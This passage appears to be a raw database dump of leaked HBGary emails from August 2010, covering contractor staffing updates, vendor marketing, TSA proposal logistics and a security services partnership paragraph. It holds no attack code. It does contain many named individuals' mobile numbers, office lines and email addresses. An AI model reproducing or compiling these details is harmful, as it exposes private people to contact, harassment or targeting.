e-mail\r\nand all attachments immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15932,'aaron_hbgary_com/15932.html'),(9996,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007815.M742717P14101Q4851.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NANA - You\'re on the list of companies to consider','Sent from my iPhoneBegin forwarded message:From: &quot;Sheldon, Scott W.&quot; &lt;SCOTT.W.SHELDON@saic.com&gt;\r\nDate: August 10, 2010 9:04:34 AM EDTTo: undisclosed-recipients:;Subject: RE: NANA - You&#39;re on the list of companies to consider\r\nWe&#39;ve had some recent staffing activity due to additional tasks beingput on the contract, but it appears that the current NANA team issatisfying all of the requirements.\r\nThe update for this month is that there is a slight chance we&#39;llactivate the list within the next 30 days.\r\nI intend to send another update by the middle of next month.Scott\r\nScott W. Sheldon, PMP | SAICVice President, Senior Account Executive | Intelligence, Security andTechnology Groupmobile: 410.382.0179 | email: scott.w.sheldon@saic.com \r\nScience Applications International Corporation6841 Benjamin Franklin DriveColumbia, MD 21046\r\nwww.saic.comEnergy  |  Environment  |  National Security  |  Health  |  CriticalInfrastructure\r\nPlease consider the environment before printing this email.This e-mail and any attachments to it are intended only for the\r\nidentified recipients. It may contain proprietary or otherwise legallyprotected information of SAIC. Any unauthorized use or disclosure ofthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwisedestroy the e-mail and all attachments immediately.________________________________\r\nFrom: Sheldon, Scott W. Sent: Monday, July 12, 2010 5:50 PMSubject: RE: NANA - You&#39;re on the list of companies to consider\r\nI&#39;ve again used BCC.There is very little change in our staffing situation at this time. Thecurrent team is doing a good job of satisfying the customer&#39;s\r\nrequirements.At this time I don&#39;t anticipate activating the list within the next 30days. I intend to send another update by the middle of next month.\r\nScottScott W. Sheldon, PMP | SAICVice President, Senior Account Executive | Intelligence, Security and\r\nTechnology Groupmobile: 410.382.0179 | email: scott.w.sheldon@saic.com Science Applications International Corporation\r\n6841 Benjamin Franklin DriveColumbia, MD 21046www.saic.com\r\nEnergy  |  Environment  |  National Security  |  Health  |  CriticalInfrastructurePlease consider the environment before printing this email.\r\nThis e-mail and any attachments to it are intended only for theidentified recipients. It may contain proprietary or otherwise legallyprotected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received thiscommunication in error, please notify the sender and delete or otherwisedestroy the e-mail and all attachments immediately.\r\n________________________________From: Sheldon, Scott W. Sent: Wednesday, June 09, 2010 5:27 PMSubject: NANA - You&#39;re on the list of companies to consider\r\nI&#39;ve used BCC on this note.I&#39;m sending this note as a follow-up to meetings or correspondence I&#39;ve\r\nhad with your company to reassure you that there really is a list andyour company is really on it.At this time, our NANA team is doing a good job of satisfying the\r\ncustomer&#39;s requirements for staff.It is a very dynamic environment and we&#39;re committed to keeping thecustomer&#39;s mission needs met. If our existing team is unable to fill a\r\nfunded requisition in a reasonable amount of time, we&#39;ll becorresponding with your company to give you the opportunity to satisfythe need and join the team.\r\nI intend to send an update to you around the middle of each month soyou&#39;ll know your company is still being considered for future staffingneeds.\r\nScottScott W. Sheldon, PMP | SAICVice President, Senior Account Executive | Intelligence, Security and\r\nTechnology Groupmobile: 410.382.0179 | email: scott.w.sheldon@saic.com Science Applications International Corporation\r\n6841 Benjamin Franklin DriveColumbia, MD 21046www.saic.com\r\nEnergy  |  Environment  |  National Security  |  Health  |  CriticalInfrastructurePlease consider the environment before printing this email.\r\nThis e-mail and any attachments to it are intended only for theidentified recipients. It may contain proprietary or otherwise legallyprotected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received thiscommunication in error, please notify the sender and delete or otherwisedestroy the e-mail and all attachments immediately.\r\n\r\n',5476,'aaron_hbgary_com/5476.html'),(9997,'2010-08-10','\"Mike Finan\" <mike.finan@carahsoft.com>','/aaron@hbgary.com/new/1297007815.M977268P14101Q4852.eml','\"Aaron Barr\" <aaron@hbgary.com>','Virtualization, Cloud Computing, & Green IT Summit - Sessions Announced','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nmargin: 0;\r\npadding: 0;\r\n}\r\n#vccg2010 a {\r\ncolor: #0099cc;\r\nfont-weight: bold;\r\n}\r\n#vccg2010_footer a {\r\ncolor: #fff;\r\n}\r\n#vccg2010 .leftcolSection ul {\r\n}\r\n#vccg2010 img {\r\nborder: 0;\r\n}\r\n#vccg2010 li {\r\nmargin-left: -15px;\r\n}\r\n#vccg2010 h3 {\r\nmargin-bottom: 0.8em;\r\n}\r\n#vccg2010 .emphasis {color: #003399}\r\n.style15 {	font-size: 16px;\r\nfont-family: \"Trebuchet MS\";\r\nline-height: 150%;\r\nfont-weight: bold;\r\ncolor: #006633;\r\npadding-left: 12px;\r\nmargin-right: 15px;\r\n}\r\n.style19 {\r\nfont-size: 12px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nline-height: 150%;\r\npadding-left: 25px;\r\npadding-right: 15px;\r\nfont-style: italic;\r\n}\r\n.style2 {\r\nfont-size: 14px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nline-height: 150%;\r\npadding-left: 25px;\r\npadding-right: 15px;\r\n}\r\n.style20 {font-size: 18px; font-family: \"Trebuchet MS\"; line-height: 150%; font-weight: bold; color: #006633; padding-left: 12px; }\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Sessions Announced!\r\n						One Conference. Three Green IT topics.\r\n						\r\n						Register now for the Virtualization, Cloud Computing, and Green IT Summit conference program! \r\n						\r\n						For the price of $95 for government employees, you\'ll receive 2 days of essential education on the technologies associated with Green IT. \r\n						\r\n						Session topics include: \r\n						\r\n							Fundamentals of Cloud Computing\r\n							Environmental Considerations of Data Center Consolidation\r\n							Virtualization 101\r\n							The Anatomy of a Cloud: Building a Cloud Computing Infrastructure\r\n							Power Management Strategies &amp; Challenges\r\n							The Virtual Organization\r\n							How Standards Can Help Deliver on the Promise of Cloud Computing\r\n							Virtualization &amp; Cloud Security\r\n							The Green Business Case for Virtualization: Regulations and the CO2 Trade in Congress\r\n							Virtualization Economics\r\n							Cloud Storage: Consolidating Storage Capacity for Non-Sensitive Data\r\n							The Green IT Lifecycle: From Procurement to Recycling\r\n							... and much more - including use cases from agencies that have successfully implemented Green and virtualization technologies\r\n						\r\n						\r\n							\r\n								\r\n									\r\n									\r\n									&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ACTIONABLE SOLUTIONS. \r\n									\r\n									\r\n									EACH session in this two-day program will deliver at least one specific action step you can take back to your office - strategies that you can start implementing right away.\r\n									\r\n								\r\n							\r\n						\r\n						\r\n						SAVE $100 OFF the Conference! \r\n						\r\n						Your full conference registration gives you two days of education, admission to the exhibition, keynote addresses, Professional Education Program, networking opportunities, and more for just $95 for Carahsoft partners and clients. \r\n						\r\n						 \r\n						\r\n						You must use the&nbsp;Discount Code CARAHSOFT when registering to activate the savings.\r\n						\r\n						\r\n						 \r\n						\r\n						Save $100 when you register for the full conference! \r\n						Carahsoft clients and partners register at the $95 government rate!\r\n						\r\n						Use code CARAHSOFT \r\n						\r\n						Who Should Attend?\r\n						\r\n						\r\n						-&nbsp;CIOs, CTOs and Senior Managers looking for new technology solutions \r\n						\r\n						- program managers, analysts, and engineers responsible for data center management and information sharing \r\n						\r\n						- enterprise architects that need to integrate cloud computing and&nbsp;green IT practices&nbsp;into their organization\'s architecture \r\n						\r\n						- procurement managers focused on reducing budgetary expenditures via virtual technologies\r\n						\r\n						\r\n						\r\n						\r\n							\r\n								\r\n									\r\n									\r\n									SPOTLIGHT on \r\n									\r\n									\r\n									 \r\n									\r\n									\r\n									Partner \r\n									\r\n									\r\n									 \r\n									\r\n									\r\n									Carahsoft Technology Corp. serves as the premier GSA Schedule 70 Holder of HP Software and Solutions and has been awarded HP Public Sector Partner of the Year (2010). \r\n									\r\n									Carahsoft combines HP software expertise with a thorough understanding of government procurement to help agencies select the best HP solution at the best possible value. \r\n									\r\n									Register now to see HP Software and Solutions and many other Carahsoft partners at the Exhibition!\r\n									\r\n								\r\n							\r\n						\r\n						\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						\r\n						Free Expo Passes for Government employees and&nbsp;\r\n						Carahsoft partners and clients!! \r\n						\r\n						\r\n						Register now for your free expo pass and source Green IT, Virtualization,\r\n						and Cloud Computing solutions from these leading vendors:\r\n						\r\n						Registration sponsor:  \r\n						\r\n						\r\n							\r\n								\r\n									\r\n									\r\n									\r\n									\r\n								\r\n								\r\n									\r\n									\r\n									\r\n									\r\n								\r\n								\r\n									&nbsp;\r\n									\r\n									\r\n									\r\n								\r\n								\r\n									\r\n									\r\n									\r\n									\r\n									\r\n									&nbsp;\r\n									\r\n									\r\n									\r\n									\r\n									&nbsp;\r\n									\r\n									\r\n									&nbsp;\r\n									&nbsp;\r\n								\r\n							\r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			&nbsp;\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',9822,'aaron_hbgary_com/9822.html'),(9998,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007816.M202527P14101Q4853.eml','\"Penny Leavy\" <penny@hbgary.com>','I would like an introduction...','To Chris Grindle.\r\n\r\nHe is in your LinkedIn contact list.\r\n\r\nAaron',7452,'aaron_hbgary_com/7452.html'),(9999,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007817.M120238P14101Q4854.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','TSA-ITSSS Experience Matrix & Surge Matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned on the call, there was some confusion on the\r\nExperience Matrix and Surge Matrix.&nbsp; Please see attached.\r\n\r\n&nbsp;\r\n\r\nExperience Matrix &#8211; I&#8217;ve\r\nhighlighted notable topics in the descriptions.&nbsp; &#8211; Due Friday, 8/13,\r\n5pm\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease mark Yes/No in the &#8216;Experience?&#8217;\r\ncolumn. \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlease contribute at least 3 notable experience\r\nnarratives in the &#8220;Description&#8230;&#8221; column\r\n\r\n&nbsp;\r\n\r\nSurge Matrix &#8211; This is to indicate how\r\nmany people each company has in each area.&nbsp; &#8211; Due tomorrow, Wed, 8/11,\r\nnoon.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5635,'aaron_hbgary_com/5635.html'),(10000,'2010-08-10','\"Steve Jacyna\" <steve.jacyna@carahsoft.com>','/aaron@hbgary.com/new/1297007817.M400758P14101Q4855.eml','\"Aaron Barr\" <aaron@hbgary.com>','PCI-DSS and FISMA Data Security and Compliance Solutions','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nbackground-color: #808080;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\n.tbody {\r\nbackground-color: #fff;\r\ncolor: #000;\r\nfont-size:12px; \r\nfont-family: Arial, Helvetica, sans-serif;\r\n}\r\nh1 \r\n{\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 24px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: uppercase;\r\ncolor: #000088;\r\npadding: 0px;\r\n}\r\np, td { font-size:12px; }\r\ntd.content { padding-right: 25px; }\r\na:hover { text-decoration: underline; color: #000088; }\r\na:link { text-decoration: underline; color: #000088; }\r\na:visited { text-decoration: underline; color: #000088; }\r\n.footer {\r\nbackground-color:#58595B;\r\npadding:5px;\r\nfont-family: Arial, Helvetica, sans-serif;\r\nfont-size: 10px;\r\nfont-style: normal;\r\nline-height: normal;\r\nfont-weight: normal;\r\nfont-variant: normal;\r\ntext-transform: none;\r\ncolor: #FFFFFF;\r\ntext-align: center;\r\nvertical-align: middle;\r\n}\r\nbody { background-color:#808080 !important; }\r\n\r\n&nbsp;\r\n\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						A Hacker&rsquo;s Worst Nightmare &ndash; Put Cyber Crime to Sleep with Imperva and Vormetric \r\n						\r\n						\r\n						If you have an immediate requirement to protect your organization&rsquo;s sensitive and confidential data look to Vormetric Data Security and Imperva SecureSphere for rapid and transparent protection for all database, file and application server environments. Vormetric Data Security provides granular encryption controls that lock down data and the environment where that data resides. Imperva SecureSphere provides full monitoring and access control for databases and web-based applications. \r\n						\r\n						\r\n						This is your last chance to join Imperva, Vormetric and Carahsoft&nbsp;during this webcast, as they&nbsp;have partnered together to provide data security and compliance solutions addressing PCI-DSS and FISMA for your organization. We&rsquo;ll show you how easy it is to get started quickly with Imperva, Vormetric and Carahsoft. \r\n						\r\n						\r\n						During this webcast you will learn how to: \r\n						\r\n						\r\n							\r\n							\r\n							Apply strong encryption to protect sensitive data \r\n							\r\n							\r\n							\r\n							\r\n							Protect critical information in the databases from leakage, mistakes and insider/external threats \r\n							\r\n							\r\n							\r\n							\r\n							Meet compliance requirements for PCI, SOX, HIPAA, FISMA and many more \r\n							\r\n							\r\n						\r\n						\r\n						Sign up now, or click here for future access to the archived recording. \r\n						\r\n						\r\n						Sincerely,\r\n						\r\n						Steve Jacyna\r\n						Imperva | Vormetric Government\r\n						at Carahsoft Technology Corp.\r\n						703-871-8680 (Direct)\r\n						888-662-2724 (Toll-Free)\r\n						steve.jacyna@carahsoft.com \r\n						\r\n						\r\n						\r\n						\r\n						Last Chance to Register \r\n						\r\n						Date: Wednesday,&nbsp;August 11, 2010\r\n						Time: 2pm Eastern; 11am Pacific\r\n						Duration: 1 Hour \r\n						\r\n						\r\n						 \r\n						\r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n		\r\n		\r\n			\r\n			\r\n			&nbsp;Share this e-mail:      \r\n			\r\n			\r\n		\r\n	\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',9583,'aaron_hbgary_com/9583.html'),(10001,'2010-08-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007817.M642664P14101Q4856.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Is this paragraph correct?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Mary,\r\n\r\n&nbsp;\r\n\r\nGreg\r\nwrote this about how HBGary and Fidelis would work together.&nbsp; Please read and\r\nmake any corrections or additions you deem necessary.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nThe\r\ncustomer wishes to have HBGary replace Solutionary as their cyber security\r\nmanaged services provider.&nbsp; Therefore, HBGary must expand its managed services\r\nto include both host and network monitoring.&nbsp; HBGary is partnered with Fidelis\r\nSecurity (www.fidelissecurity.com)\r\nto offer detection of C2 communications for known APT and malware, as well as\r\nexfiltration of data.&nbsp; As well, Fidelis offers best of breed extraction of\r\nbinaries in transit over the wire.&nbsp; HBGary can extract binaries that relate to\r\nthe initial point of infection, payload delivery, or malware packages that are\r\nknown to be targeting the environment.&nbsp; These binaries can be evaluated for\r\nmalicious behavior using RECon, an advanced sandbox tracing technology that\r\nHBGary developed with the assistance of the U.S. Air Force.&nbsp; As HBGary\r\ndiscovers remote access tools at the host, any network level indicators will be\r\nextracted and populated into the Fidelis sniffers to detect any additional\r\nmachines that may be compromised.&nbsp; Network sniffing scales well, but is only as\r\nintelligent as the signatures provided.&nbsp; The proposed HBGary managed services\r\ncombines host level threat with best of breed network traffic analysis to offer\r\na complete solution of detecting and responding to advanced intrusions in the\r\nenterprise.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13096,'aaron_hbgary_com/13096.html'),(10002,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007817.M859195P14101Q4857.eml','aaron@hbgary.com,\"William Luti\" <wluti@digitalmanagement.com>','Growth of threat','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m looking for great graphics and stories from\r\nnotable sources that speak to the growing threat, etc.&nbsp; Something like this\r\nfrom another non-IA proposal:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCan\r\nyou point me to the &#8220;best&#8221; somewhere online or other?\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11818,'aaron_hbgary_com/11818.html'),(10003,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007818.M73215P14101Q4858.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>,\"Ken Bajaj\" <kbajaj@digitalmanagement.com>','TSA-ITSSS Pink Team Review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 12, 2010 12:00 PM-3:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Bethesda \r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',6396,'aaron_hbgary_com/6396.html'),(10004,'2010-08-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007821.M696050P14101Q4859.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','Maybe you should send something similar to your Army contact (EUCOM,\r\nand the guy you met at NSA)?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Aug 10, 2010 at 8:52 AM\r\nSubject: Update\r\nTo: Scott Chappell \r\n\r\n\r\nHi Scott,\r\n\r\nHow was your vacation?  I never received a response from 1LT Coy, so\r\nI\'ll refrain from sending her any more emails, I guess she\'s not\r\ninterested.\r\n\r\nWe developed a one day course centered around social media and\r\ninformation reconnaissance, after receiving so much interest from our\r\nbriefing at NSA.  Many servicemen and employees have no idea the risks\r\nthey personally are exposing themselves and their organizations to\r\nonline.  Attached is a rough draft training brochure and classes are\r\nplanned to start Sept 2.\r\n\r\nTed\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15062,'aaron_hbgary_com/15062.html'),(10005,'2010-08-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007824.M175774P14101Q4860.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','TSA List','Ok I have scoured LinkedIn and have noted the ones that have LinkedIn profiles.  On those note that I have made changes to their companies and positions based on information on LinkedIn.  I have only emailed a few.  Let me know how many and in which order you want me to contact or if you are going to contact.  We can split up by which company is filling which skill sets, up to you.\r\n\r\nAaron\r\n\r\n',9779,'aaron_hbgary_com/9779.html'),(10006,'2010-08-10','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007824.M403585P14101Q4861.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Is this paragraph correct?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\nThanks for your call&#8212;I totally\r\nget that proposing us now is premature. Deal strategy is paramount.\r\n\r\n&nbsp;\r\n\r\nI like the below description a\r\nlot&#8212;I&#8217;m going to hang onto it and hopefully we&#8217;ll have\r\nanother place to use it soon.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, August 10, 2010 9:51 AM\r\nTo: \'Barr Aaron\'; Sullivan, Mary\r\nSubject: Is this paragraph correct?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Mary,\r\n\r\n&nbsp;\r\n\r\nGreg wrote this about how HBGary and Fidelis would work\r\ntogether.&nbsp; Please read and make any corrections or additions you deem\r\nnecessary.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\nThe customer wishes to have HBGary replace Solutionary as\r\ntheir cyber security managed services provider.&nbsp; Therefore, HBGary must\r\nexpand its managed services to include both host and network monitoring.&nbsp;\r\nHBGary is partnered with Fidelis Security (www.fidelissecurity.com) to offer\r\ndetection of C2 communications for known APT and malware, as well as\r\nexfiltration of data.&nbsp; As well, Fidelis offers best of breed extraction of\r\nbinaries in transit over the wire.&nbsp; HBGary can extract binaries that\r\nrelate to the initial point of infection, payload delivery, or malware packages\r\nthat are known to be targeting the environment.&nbsp; These binaries can be\r\nevaluated for malicious behavior using RECon, an advanced sandbox tracing\r\ntechnology that HBGary developed with the assistance of the U.S. Air\r\nForce.&nbsp; As HBGary discovers remote access tools at the host, any network\r\nlevel indicators will be extracted and populated into the Fidelis sniffers to\r\ndetect any additional machines that may be compromised.&nbsp; Network sniffing\r\nscales well, but is only as intelligent as the signatures provided.&nbsp; The\r\nproposed HBGary managed services combines host level threat with best of breed\r\nnetwork traffic analysis to offer a complete solution of detecting and\r\nresponding to advanced intrusions in the enterprise.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6461,'aaron_hbgary_com/6461.html'),(10007,'2010-08-10','\"John M. Farrell\" <jmfarrell@yahoo.com>','/aaron@hbgary.com/new/1297007824.M617417P14101Q4862.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nJohn M. Farrell has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/10/2010\r\n\r\n\r\n  Subject:\r\n  RE: Catch Up\r\n\r\n\r\n\r\n  time for lunch today? I am working from SBX in Tysons now.\r\n\r\n\r\n\r\nOn 08/10/10 5:18 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey John,\r\n\r\n\r\n\r\nI am not.  I am heads down in a TSA proposal.  I\'ll give you a call.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn 08/09/10 3:28 PM, John M. Farrell wrote:\r\n\r\n--------------------\r\n\r\nAaron,\r\n\r\nI\'m attending the INPUT breakfast in Tysons Corner tomorrow morning. Will you be there? If not, how about we meet around 10AM right after the event? You can reach me on cell # 301.768.0186. Thanks\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nOn 08/06/10 11:41 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi John,\r\n\r\n\r\n\r\nSorry I have been silent...still doing well but scraping by working to build our pipeline.  Lets get together.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',2420,'aaron_hbgary_com/2420.html'),(10008,'2010-08-10','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007824.M828799P14101Q4863.eml','aaron@hbgary.com,aaron@hbgary.com','Thu and Friday','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nCan you plan to spend this Fri and Monday here at DMI?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13284,'aaron_hbgary_com/13284.html'),(10009,'2010-08-10','\"John M Farrell\" <jmfarrell@yahoo.com>','/aaron@hbgary.com/new/1297007825.M385516P14101Q4865.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Catch Up','\r\nsure, no problem. I will be back over here on Thursday. I have time at 1pm. I can meet you back at Greenberry\'s. Is that the place we met initially?&nbsp;John M Farrelljmfarrell@yahoo.com703.622.9025 voicemail \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: John M. Farrell &lt;jmfarrell@yahoo.com&gt;Sent: Tue, August 10, 2010 11:18:04 AMSubject: RE: Catch Up\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a 